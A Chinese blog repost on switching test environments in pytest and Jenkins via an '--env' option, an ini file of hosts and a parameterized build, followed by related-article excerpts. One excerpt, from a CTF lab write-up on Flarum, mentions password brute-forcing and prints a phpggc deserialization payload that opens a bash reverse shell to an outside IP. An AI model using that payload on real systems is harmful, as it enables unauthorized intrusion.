jenkins动态切换环境

news/2024/10/4 19:34:21

一.代码层实现动态切换

1.首先在conftest.py下声明pytest_addoption钩子函数,写法如下

def pytest_addoption(parser):# 设置要接收的命令行参数parser.addoption("--env", default="prod", choices=['pre', 'uat', 'prod', 'test'],help="命令行参数,--env设置环境切换")

--env:命令行参数

default:启动时未传--env,则默认值为prod

choices:参数值范围

help:命令行说明,可在终端执行:pytest --help查看

2.config文件下创建config.ini配置文件,写法如下

[HOST]
pre=https://pre-www.baidu.com
prod=http://www.baidu.com
uat=https://uat-www.baidu.com
test=https://test-www.baidu.com

这里不同环境对应的是不同地址

3.common在创建basecase封装读取ini文件的方法

def read_ini(config_path):with open(config_path, mode='r') as f:dict_ini = {i.strip().split('=')[0]: i.strip().split('=')[1] for i in f.readlines()[1:]}return dict_ini

config_path为ini地址,return返回的是处理过后的dict格式数据

4.用例层调用方法拿到不同的环境地址

from common.basecase import read_ini
from common.headle_path import config_path# @pytest.mark.order(1)
def test_login(request,webdriver_init):custom_arg = request.config.getoption("--env")webdriver_init.get(read_ini(config_path)[custom_arg])

request:固定写法,通过request.config.getoption('--env')来获取启动时传递的参数

webdriver_init:conftest中初始化webdriver的固件函数

5.main.py中启动用例

import pytestif __name__ == '__main__':pytest.main(['-s', '-v', '--env=prod'])

二.jenkins实现动态切换

基础配置可参考:https://www.cnblogs.com/lihongtaoya/p/18351371

1.在job配置下选择:This project is parameterized

 填写名称,选项,以及描述

2.Execute Windows batch command下填写win运行命令

 %env%:表示运行python脚本时向代码中传递一个值,env就是在This project is parameterized下设置的名称

3.如何取到这个值

python中可以通过os模块中argv列表来获取,run.py写法如下

import sysimport pytestif __name__ == '__main__':# pytest.main(['-s', '-v', '--env=prod'])arg_one = sys.argv[1]pytest.main(['-s', '-v', f'--env={arg_one}'])

sys.argv[1]:表示获取传递的一个值

4.开始构建

 在构建选项中可以看到我们设置的环境选项以及描述,选择一个环境后开始构建即可。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/54972.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

vue3 jsx响应式渲染变量

1、JSX渲染变量 vue在html代码区渲染变量使用双大括号{{ }},jsx在渲染是单大括号{}另外,这里随便记一下一个简单有点绕的业务逻辑 2、多个变量影响判断三元表达式根据上图,想要的效果分别是:订单状态是否支付,显示对应状态 已支付的订单是否申请开发票,显示对应状态;且已…

春秋云镜 Flarum

春秋云镜 Flarum访问发现是个Flarum CMS框架.使用rockyou.txt爆破administrator得到密码1chris,登录后台 由于题目提示Flarum上执行任意命令,搜到了P牛的文章 照着打反序列化. 执行命令 ./phpggc -p tar -b Monolog/RCE6 system "bash -c bash -i >& /dev/tcp/123.…

Qt/C++地址转坐标/坐标转地址/逆地址解析/支持百度高德腾讯和天地图

一、前言说明 地址和经纬度坐标转换的功能必须在线使用,一般用在导航需求上,比如用户输入起点地址和终点地址,查询路线后,显示对应的路线,而实际上各大地图厂家默认支持的是给定经纬度坐标来查询(百度地图支持传入地址),但是你让用户输入经纬度坐标是不可能的,他肯定不…

Ethercat设备数据 转IEC61850项目案例

目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 5 设置网关采集ETHERCAT数据 5 6 用IEC61850协议转发数据 7 7 网关使用多个逻辑设备和逻辑节点的方法 9 8 安装NPCAP 10 9 案例总结 11 1 案例说明设置网关采集EtherCAT设备数据 把采集的数据转成IEC61850协议转发给其他…

若依如何修改logo

若依在我看来封装得很完善,但是也包了很多层,想修改logo找了好久找不对,做个笔记下次才好找 修改标题旁的logo title的logo图片存放在src>assets>logo文件下,修改的位置在layout>components>sidebar下的logo.vue修改URL上的logo

Hexo + redefine主题配置个人博客

前置准备安装 node js 安装 git 安装 Hexo 创建 Github 仓库。node js: https://nodejs.org/zh-cngit: 注:git 安装时一直继续就好,但是有 path 的地方一定要勾选。 https://git-scm.com/download/win检查一下是否安装成功,在终端中输入: node -v npm -v git --versionHe…